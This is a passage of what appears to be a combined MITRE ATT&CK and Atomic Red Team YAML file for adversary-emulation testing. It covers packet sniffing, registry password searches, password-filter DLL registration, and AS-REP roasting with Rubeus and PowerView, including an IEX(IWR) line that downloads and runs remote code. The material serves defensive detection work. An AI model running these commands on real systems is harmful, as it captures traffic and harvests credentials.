Mirroring overview. Retrieved March 17, 2022. url: https://cloud.google.com/vpc/docs/packet-mirroring - source_name: SpecterOps AWS Traffic Mirroring description: Luke Paine. (2020, March 11). Through the Looking Glass — Part 1. Retrieved March 17, 2022. url: https://posts.specterops.io/through-the-looking-glass-part-1-f539ae308512 - source_name: Azure Virtual Network TAP description: Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022. url: https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview - source_name: Rhino Security Labs AWS VPC Traffic Mirroring description: Spencer Gietzen. (2019, September 17). Abusing VPC Traffic Mirroring in AWS. Retrieved March 17, 2022. url: https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/ - source_name: US-CERT-TA18-106A description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. url: https://www.us-cert.gov/ncas/alerts/TA18-106A object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1040 atomic_tests: - name: Packet Capture Linux using tshark or tcpdump auto_generated_guid: 7fe741f7-b265-4951-a7c7-320889083b3e description: | Perform a PCAP. Wireshark will be required for tshark. TCPdump may already be installed. Upon successful execution, tshark or tcpdump will execute and capture 5 packets on interface ens33. supported_platforms: - linux input_arguments: interface: description: Specify interface to perform PCAP on. type: string default: ens33 dependency_executor_name: bash dependencies: - description: 'Check if at least one of tcpdump or tshark is installed. ' prereq_command: 'if [ ! -x "$(command -v tcpdump)" ] && [ ! -x "$(command -v tshark)" ]; then exit 1; else exit 0; fi; ' get_prereq_command: "(which yum && yum -y install epel-release tcpdump tshark)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y tcpdump tshark)\n" executor: command: | tcpdump -c 5 -nnni #{interface} tshark -c 5 -i #{interface} name: bash elevation_required: true - name: Packet Capture FreeBSD using tshark or tcpdump auto_generated_guid: c93f2492-9ebe-44b5-8b45-36574cccfe67 description: | Perform a PCAP. Wireshark will be required for tshark. TCPdump may already be installed. Upon successful execution, tshark or tcpdump will execute and capture 5 packets on interface ens33. supported_platforms: - linux input_arguments: interface: description: Specify interface to perform PCAP on. type: string default: em0 dependency_executor_name: sh dependencies: - description: 'Check if at least one of tcpdump or tshark is installed. ' prereq_command: 'if [ ! -x "$(command -v tcpdump)" ] && [ ! -x "$(command -v tshark)" ]; then exit 1; else exit 0; fi; ' get_prereq_command: "(which pkg && pkg install -y wireshark-nox11)\n" executor: command: | tcpdump -c 5 -nnni #{interface} tshark -c 5 -i #{interface} name: sh elevation_required: true - name: Packet Capture macOS using tcpdump or tshark auto_generated_guid: 9d04efee-eff5-4240-b8d2-07792b873608 description: | Perform a PCAP on macOS. This will require Wireshark/tshark to be installed. TCPdump may already be installed. Upon successful execution, tshark or tcpdump will execute and capture 5 packets on interface en0A. supported_platforms: - macos input_arguments: interface: description: Specify interface to perform PCAP on. type: string default: en0A dependency_executor_name: bash dependencies: - description: 'Check if at least one of tcpdump or tshark is installed. ' prereq_command: 'if [ ! -x "$(command -v tcpdump)" ] && [ ! -x "$(command -v tshark)" ]; then exit 1; else exit 0; fi; ' get_prereq_command: "(which yum && yum -y install epel-release tcpdump tshark)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y tcpdump tshark)\n" executor: command: "sudo tcpdump -c 5 -nnni #{interface} \nif [ -x \"$(command -v tshark)\" ]; then sudo tshark -c 5 -i #{interface}; fi;\n" name: bash elevation_required: true - name: Packet Capture Windows Command Prompt auto_generated_guid: a5b2f6a0-24b4-493e-9590-c699f75723ca description: | Perform a packet capture using the windows command prompt. This will require a host that has Wireshark/Tshark installed. Upon successful execution, tshark will execute and capture 5 packets on interface "Ethernet". supported_platforms: - windows input_arguments: interface: description: Specify interface to perform PCAP on. type: string default: Ethernet wireshark_url: description: wireshark installer download URL type: url default: https://1.eu.dl.wireshark.org/win64/Wireshark-latest-x64.exe tshark_path: description: path to tshark.exe type: path default: c:\program files\wireshark\tshark.exe npcap_url: description: npcap installed download URL type: url default: https://nmap.org/npcap/dist/npcap-1.31.exe npcap_path: description: path to npcap.sys type: path default: C:\Program Files\Npcap\npcap.sys dependency_executor_name: powershell dependencies: - description: 'tshark must be installed and in the default path of "c:\Program Files\Wireshark\Tshark.exe". ' prereq_command: if (test-path "#{tshark_path}") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\wireshark_installer.exe" #{wireshark_url} Start-Process "PathToAtomicsFolder\..\ExternalPayloads\wireshark_installer.exe" /S - description: 'npcap must be installed. ' prereq_command: if (test-path "#{npcap_path}") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\npcap_installer.exe" #{npcap_url} Start-Process "PathToAtomicsFolder\..\ExternalPayloads\npcap_installer.exe" executor: command: '"c:\Program Files\Wireshark\tshark.exe" -i #{interface} -c 5 ' name: command_prompt elevation_required: true - name: Windows Internal Packet Capture auto_generated_guid: b5656f67-d67f-4de8-8e62-b5581630f528 description: |- Uses the built-in Windows packet capture After execution you should find a file named trace.etl and trace.cab in the temp directory supported_platforms: - windows executor: command: netsh trace start capture=yes tracefile=%temp%\trace.etl maxsize=10 cleanup_command: |- netsh trace stop >nul 2>&1 TIMEOUT /T 5 >nul 2>&1 del %temp%\trace.etl >nul 2>&1 del %temp%\trace.cab >nul 2>&1 name: command_prompt elevation_required: true - name: Windows Internal pktmon capture auto_generated_guid: c67ba807-f48b-446e-b955-e4928cd1bf91 description: |- Will start a packet capture and store log file as t1040.etl. https://lolbas-project.github.io/lolbas/Binaries/Pktmon/ supported_platforms: - windows executor: command: | pktmon.exe start --etw -f %TEMP%\t1040.etl TIMEOUT /T 5 >nul 2>&1 pktmon.exe stop cleanup_command: del %TEMP%\t1040.etl name: command_prompt elevation_required: true - name: Windows Internal pktmon set filter auto_generated_guid: 855fb8b4-b8ab-4785-ae77-09f5df7bff55 description: "Select Desired ports for packet capture \nhttps://lolbas-project.github.io/lolbas/Binaries/Pktmon/" supported_platforms: - windows executor: command: 'pktmon.exe filter add -p 445 ' cleanup_command: pktmon filter remove name: command_prompt elevation_required: true - name: Packet Capture macOS using /dev/bpfN with sudo auto_generated_guid: e6fe5095-545d-4c8b-a0ae-e863914be3aa description: 'Opens a /dev/bpf file (O_RDONLY) and captures packets for a few seconds. ' supported_platforms: - macos input_arguments: ifname: description: Specify interface to perform PCAP on. type: string default: en0 csource_path: description: Path to C program source type: string default: PathToAtomicsFolder/T1040/src/macos_pcapdemo.c program_path: description: Path to compiled C program type: string default: "/tmp/t1040_macos_pcapdemo" dependency_executor_name: bash dependencies: - description: 'compile C program ' prereq_command: 'exit 1 ' get_prereq_command: 'cc #{csource_path} -o #{program_path} ' executor: command: 'sudo #{program_path} -i #{ifname} -t 3 ' cleanup_command: 'rm -f #{program_path} ' name: bash elevation_required: true - name: Filtered Packet Capture macOS using /dev/bpfN with sudo auto_generated_guid: e2480aee-23f3-4f34-80ce-de221e27cd19 description: 'Opens a /dev/bpf file (O_RDONLY), sets BPF filter for ''udp'' and captures packets for a few seconds. ' supported_platforms: - macos input_arguments: ifname: description: Specify interface to perform PCAP on. type: string default: en0 csource_path: description: Path to C program source type: string default: PathToAtomicsFolder/T1040/src/macos_pcapdemo.c program_path: description: Path to compiled C program type: string default: "/tmp/t1040_macos_pcapdemo" dependency_executor_name: bash dependencies: - description: 'compile C program ' prereq_command: 'exit 1 ' get_prereq_command: 'cc #{csource_path} -o #{program_path} ' executor: command: 'sudo #{program_path} -f -i #{ifname} -t 3 ' cleanup_command: 'rm -f #{program_path} ' name: bash elevation_required: true - name: Packet Capture FreeBSD using /dev/bpfN with sudo auto_generated_guid: e2028771-1bfb-48f5-b5e6-e50ee0942a14 description: 'Opens a /dev/bpf file (O_RDONLY) and captures packets for a few seconds. ' supported_platforms: - linux input_arguments: ifname: description: Specify interface to perform PCAP on. type: string default: em0 csource_path: description: Path to C program source type: string default: PathToAtomicsFolder/T1040/src/freebsd_pcapdemo.c program_path: description: Path to compiled C program type: string default: "/tmp/t1040_freebsd_pcapdemo" dependency_executor_name: sh dependencies: - description: 'compile C program ' prereq_command: 'exit 1 ' get_prereq_command: 'cc #{csource_path} -o #{program_path} ' executor: command: 'sudo #{program_path} -i #{ifname} -t 3 ' cleanup_command: 'rm -f #{program_path} ' name: sh elevation_required: true - name: Filtered Packet Capture FreeBSD using /dev/bpfN with sudo auto_generated_guid: a3a0d4c9-c068-4563-a08d-583bd05b884c description: 'Opens a /dev/bpf file (O_RDONLY), sets BPF filter for ''udp'' and captures packets for a few seconds. ' supported_platforms: - linux input_arguments: ifname: description: Specify interface to perform PCAP on. type: string default: em0 csource_path: description: Path to C program source type: string default: PathToAtomicsFolder/T1040/src/freebsd_pcapdemo.c program_path: description: Path to compiled C program type: string default: "/tmp/t1040_freebsd_pcapdemo" dependency_executor_name: sh dependencies: - description: 'compile C program ' prereq_command: 'exit 1 ' get_prereq_command: 'cc #{csource_path} -o #{program_path} ' executor: command: 'sudo #{program_path} -f -i #{ifname} -t 3 ' cleanup_command: 'rm -f #{program_path} ' name: sh elevation_required: true - name: Packet Capture Linux socket AF_PACKET,SOCK_RAW with sudo auto_generated_guid: 10c710c9-9104-4d5f-8829-5b65391e2a29 description: 'Captures packets with domain=AF_PACKET, type=SOCK_RAW for a few seconds. ' supported_platforms: - linux input_arguments: csource_path: description: Path to C program source type: string default: PathToAtomicsFolder/T1040/src/linux_pcapdemo.c program_path: description: Path to compiled C program type: string default: "/tmp/t1040_linux_pcapdemo" dependency_executor_name: bash dependencies: - description: 'compile C program ' prereq_command: 'if [ -f "#{program_path}" ]; then exit 0; else exit 1; fi ' get_prereq_command: 'cc #{csource_path} -o #{program_path} ' executor: command: 'sudo #{program_path} -a -t 3 ' cleanup_command: 'rm -f #{program_path} ' name: bash elevation_required: true - name: Packet Capture Linux socket AF_INET,SOCK_RAW,TCP with sudo auto_generated_guid: 7a0895f0-84c1-4adf-8491-a21510b1d4c1 description: 'Captures packets with domain=AF_INET,type=SOCK_RAW,protocol=TCP for a few seconds. ' supported_platforms: - linux input_arguments: csource_path: description: Path to C program source type: string default: PathToAtomicsFolder/T1040/src/linux_pcapdemo.c program_path: description: Path to compiled C program type: string default: "/tmp/t1040_linux_pcapdemo" dependency_executor_name: bash dependencies: - description: 'compile C program ' prereq_command: 'if [ -f "#{program_path}" ]; then exit 0; else exit 1; fi ' get_prereq_command: 'cc #{csource_path} -o #{program_path} ' executor: command: 'sudo #{program_path} -4 -p 6 -t 3 ' cleanup_command: 'rm -f #{program_path} ' name: bash elevation_required: true - name: Packet Capture Linux socket AF_INET,SOCK_PACKET,UDP with sudo auto_generated_guid: 515575ab-d213-42b1-aa64-ef6a2dd4641b description: | Captures packets with domain=AF_INET,type=SOCK_PACKET,protocol=UDP for a few seconds. SOCK_PACKET is "obsolete" according to the man page, but still works on Ubuntu 20.04 supported_platforms: - linux input_arguments: csource_path: description: Path to C program source type: string default: PathToAtomicsFolder/T1040/src/linux_pcapdemo.c program_path: description: Path to compiled C program type: string default: "/tmp/t1040_linux_pcapdemo" dependency_executor_name: bash dependencies: - description: 'compile C program ' prereq_command: 'if [ -f "#{program_path}" ]; then exit 0; else exit 1; fi ' get_prereq_command: 'cc #{csource_path} -o #{program_path} ' executor: command: 'sudo #{program_path} -4 -P -p 17 -t 3 ' cleanup_command: 'rm -f #{program_path} ' name: bash elevation_required: true - name: Packet Capture Linux socket AF_PACKET,SOCK_RAW with BPF filter for UDP with sudo auto_generated_guid: b1cbdf8b-6078-48f5-a890-11ea19d7f8e9 description: | Captures packets with domain=AF_PACKET,type=SOCK_RAW for a few seconds. Sets a BPF filter on the socket to filter for UDP traffic. supported_platforms: - linux input_arguments: csource_path: description: Path to C program source type: string default: PathToAtomicsFolder/T1040/src/linux_pcapdemo.c program_path: description: Path to compiled C program type: string default: "/tmp/t1040_linux_pcapdemo" dependency_executor_name: bash dependencies: - description: 'compile C program ' prereq_command: 'if [ -f "#{program_path}" ]; then exit 0; else exit 1; fi ' get_prereq_command: 'cc #{csource_path} -o #{program_path} ' executor: command: 'sudo #{program_path} -a -f -t 3 ' cleanup_command: 'rm -f #{program_path} ' name: bash elevation_required: true - name: PowerShell Network Sniffing auto_generated_guid: 9c15a7de-de14-46c3-bc2a-6d94130986ae description: |- PowerShell Built-in Cmdlets to capture network traffic. https://learn.microsoft.com/en-us/powershell/module/neteventpacketcapture/new-neteventsession?view=windowsserver2022-ps supported_platforms: - windows executor: command: | New-NetEventSession -Name Capture007 -LocalFilePath "$ENV:Temp\sniff.etl" Add-NetEventPacketCaptureProvider -SessionName Capture007 -TruncationLength 100 Start-NetEventSession -Name Capture007 Stop-NetEventSession -Name Capture007 Remove-NetEventSession -Name Capture007 cleanup_command: del $ENV:Temp\sniff.etl name: powershell elevation_required: true T1552.002: technique: modified: '2023-07-28T18:29:56.525Z' name: 'Unsecured Credentials: Credentials in Registry' description: |- Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons. Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials) * Local Machine Hive: reg query HKLM /f password /t REG_SZ /s * Current User Hive: reg query HKCU /f password /t REG_SZ /s kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - Sudhanshu Chauhan, @Sudhanshu_C x_mitre_deprecated: false x_mitre_detection: Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' - 'Windows Registry: Windows Registry Key Access' x_mitre_system_requirements: - Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys. type: attack-pattern id: attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580 created: '2020-02-04T12:58:40.678Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1552/002 external_id: T1552.002 - source_name: Pentestlab Stored Credentials description: netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018. url: https://pentestlab.blog/2017/04/19/stored-credentials/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1552.002 atomic_tests: - name: Enumeration for Credentials in Registry auto_generated_guid: b6ec082c-7384-46b3-a111-9a9b8b14e5e7 description: 'Queries to enumerate for credentials in the Registry. Upon execution, any registry key containing the word "password" will be displayed. ' supported_platforms: - windows executor: command: | reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s name: command_prompt - name: Enumeration for PuTTY Credentials in Registry auto_generated_guid: af197fd7-e868-448e-9bd5-05d1bcd9d9e5 description: | Queries to enumerate for PuTTY credentials in the Registry. PuTTY must be installed for this test to work. If any registry entries are found, they will be displayed. supported_platforms: - windows executor: command: 'reg query HKCU\Software\SimonTatham\PuTTY\Sessions /t REG_SZ /s ' name: command_prompt T1556.002: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Vincent Le Toux object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42 type: attack-pattern created: '2020-02-11T19:05:45.829Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1556.002 url: https://attack.mitre.org/techniques/T1556/002 - url: http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html description: Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017. source_name: Carnal Ownage Password Filters Sept 2013 - url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/ description: Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017. source_name: Clymb3r Function Hook Passwords Sept 2013 modified: '2022-04-25T14:00:00.188Z' name: 'Modify Authentication Process: Password Filter DLL' description: "Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: |- Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages) and correlate then investigate the DLL files these files reference. Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013) x_mitre_is_subtechnique: true x_mitre_version: '2.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Modification' - 'File: File Creation' - 'Module: Module Load' x_mitre_permissions_required: - Administrator - SYSTEM spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1556.002 atomic_tests: - name: Install and Register Password Filter DLL auto_generated_guid: a7961770-beb5-4134-9674-83d7e1fa865c description: "Uses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges.\nThe binary in bin is https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection\nSource is in src folder. \nThis does require a reboot to see the filter loaded into lsass.exe. \nIt does require Administrative privileges to import the clean registry values back into LSA, it is possible you may have to manually do this after for cleanup.\n" supported_platforms: - windows input_arguments: dll_path: description: Path to DLL to be installed and registered type: path default: PathToAtomicsFolder\T1556.002\bin dll_name: description: Name of the Password Filter type: string default: AtomicRedTeamPWFilter.dll dependency_executor_name: powershell dependencies: - description: 'AtomicRedTeamPWFilter.dll must exist on disk at specified location (#{dll_path}\#{dll_name}) ' prereq_command: 'if (Test-Path "#{dll_path}\#{dll_name}") {exit 0} else {exit 1} ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Invoke-WebRequest "https://github.com/redcanaryco/atomicredteam/atomics/T1556.002/bin/AtomicRedTeamPWFilter.dll" -OutFile "#{dll_path}\#{dll_name}" executor: command: | reg.exe export HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ "PathToAtomicsFolder\T1556.002\lsa_backup.reg" $passwordFilterName = (Copy-Item "#{dll_path}\#{dll_name}" -Destination "C:\Windows\System32" -PassThru).basename $lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" $notificationPackagesValues = $lsaKey.GetValue("Notification Packages") $notificationPackagesValues += $passwordFilterName Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Notification Packages" $notificationPackagesValues cleanup_command: | reg.exe import "PathToAtomicsFolder\T1556.002\lsa_backup.reg" remove-item C:\Windows\System32\#{dll_name} name: powershell elevation_required: true - name: Install Additional Authentication Packages auto_generated_guid: 91580da6-bc6e-431b-8b88-ac77180005f2 description: "lsass.exe loads all DLLs specified by the Authentication Packages REG_MULTI_SZ value.\nUses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges.\nThe binary in bin is https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection\nSource is in src folder. \nThis does require a reboot to see the filter loaded into lsass.exe. \nIt does require Administrative privileges to import the clean registry values back into LSA, it is possible you may have to manually do this after for cleanup.\n" supported_platforms: - windows input_arguments: dll_path: description: Path to DLL to be installed and registered as additional authentication package type: path default: PathToAtomicsFolder\T1556.002\bin dll_name: description: Name of the Password Filter type: string default: AtomicRedTeamPWFilter.dll dependency_executor_name: powershell dependencies: - description: 'AtomicRedTeamPWFilter.dll must exist on disk at specified location (#{dll_path}\#{dll_name}) ' prereq_command: 'if (Test-Path "#{dll_path}\#{dll_name}") {exit 0} else {exit 1} ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Invoke-WebRequest "https://github.com/redcanaryco/atomicredteam/atomics/T1556.002/bin/AtomicRedTeamPWFilter.dll" -OutFile "#{dll_path}\#{dll_name}" executor: command: | reg.exe export HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ "PathToAtomicsFolder\T1556.002\lsa_backup.reg" $passwordFilterName = (Copy-Item "#{dll_path}\#{dll_name}" -Destination "C:\Windows\System32" -PassThru).basename $lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" $AuthenticationPackagesValues = $lsaKey.GetValue("Authentication Packages") $AuthenticationPackagesValues += $passwordFilterName Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Authentication Packages" $AuthenticationPackagesValues cleanup_command: | reg.exe import "PathToAtomicsFolder\T1556.002\lsa_backup.reg" remove-item C:\Windows\System32\#{dll_name} name: powershell elevation_required: true T1558.004: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Yossi Nisani, Cymptom - James Dunn, @jamdunnDFW, EY - Swapnil Kumbhar - Jacques Pluviose, @Jacqueswildy_IT - Dan Nutting, @KerberToast object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b type: attack-pattern created: '2020-08-24T13:43:00.028Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1558.004 url: https://attack.mitre.org/techniques/T1558/004 - source_name: Harmj0y Roasting AS-REPs Jan 2017 url: http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/ description: HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved August 24, 2020. - source_name: Microsoft Kerberos Preauth 2014 url: https://social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx description: 'Sanyal, M.. (2014, March 18). Kerberos Pre-Authentication: Why It Should Not Be Disabled. Retrieved August 25, 2020.' - source_name: Stealthbits Cracking AS-REP Roasting Jun 2019 url: https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/ description: Jeff Warren. (2019, June 27). Cracking Active Directory Passwords with AS-REP Roasting. Retrieved August 24, 2020. - description: Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018. source_name: SANS Attacking Kerberos Nov 2014 url: https://redsiege.com/kerberoast-slides - url: https://adsecurity.org/?p=2293 description: Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018. source_name: AdSecurity Cracking Kerberos Dec 2015 - url: https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/ description: Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018. source_name: Microsoft Detecting Kerberoasting Feb 2018 - source_name: Microsoft 4768 TGT 2017 url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768 description: 'Microsoft. (2017, April 19). 4768(S, F): A Kerberos authentication ticket (TGT) was requested. Retrieved August 24, 2020.' modified: '2021-06-07T19:23:33.039Z' name: 'Steal or Forge Kerberos Tickets: AS-REP Roasting' description: "Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) \n\nPreauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user’s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user’s password.(Citation: Microsoft Kerberos Preauth 2014)\n\nFor each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) \n\nAn account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_detection: 'Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4768 and 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17], pre-authentication not required [Type: 0x0]).(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: Microsoft 4768 TGT 2017)' x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Active Directory: Active Directory Credential Request' x_mitre_permissions_required: - User x_mitre_system_requirements: - Valid domain account spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1558.004 atomic_tests: - name: Rubeus asreproast auto_generated_guid: 615bd568-2859-41b5-9aed-61f6a88e48dd description: | Information on the Rubeus tool and it's creators found here: https://github.com/GhostPack/Rubeus#asreproast This build targets .NET 4.5. If targeting a different version you will need to compile Rubeus supported_platforms: - windows input_arguments: local_folder: description: Local path of Rubeus executable type: path default: PathToAtomicsFolder\..\ExternalPayloads local_executable: description: name of the rubeus executable type: string default: rubeus.exe out_file: description: file where command results are stored type: string default: rubeus_output.txt rubeus_url: description: URL of Rubeus executable type: url default: https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe dependency_executor_name: powershell dependencies: - description: 'Computer must be domain joined ' prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1} ' get_prereq_command: 'Write-Host Joining this computer to a domain must be done manually ' - description: 'Rubeus must exist ' prereq_command: 'if(Test-Path -Path "#{local_folder}\#{local_executable}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-Webrequest -Uri #{rubeus_url} -OutFile #{local_folder}\#{local_executable} executor: command: 'cmd.exe /c "#{local_folder}\#{local_executable}" asreproast /outfile:"#{local_folder}\#{out_file}" ' cleanup_command: 'Remove-Item "#{local_folder}\#{out_file}" -ErrorAction Ignore ' name: powershell elevation_required: false - name: Get-DomainUser with PowerView auto_generated_guid: d6139549-7b72-4e48-9ea1-324fc9bdf88a description: 'Utilizing PowerView, run Get-DomainUser to identify domain users. Upon execution, progress and info about users within the domain being scanned will be displayed. ' supported_platforms: - windows executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose name: powershell - name: WinPwn - PowerSharpPack - 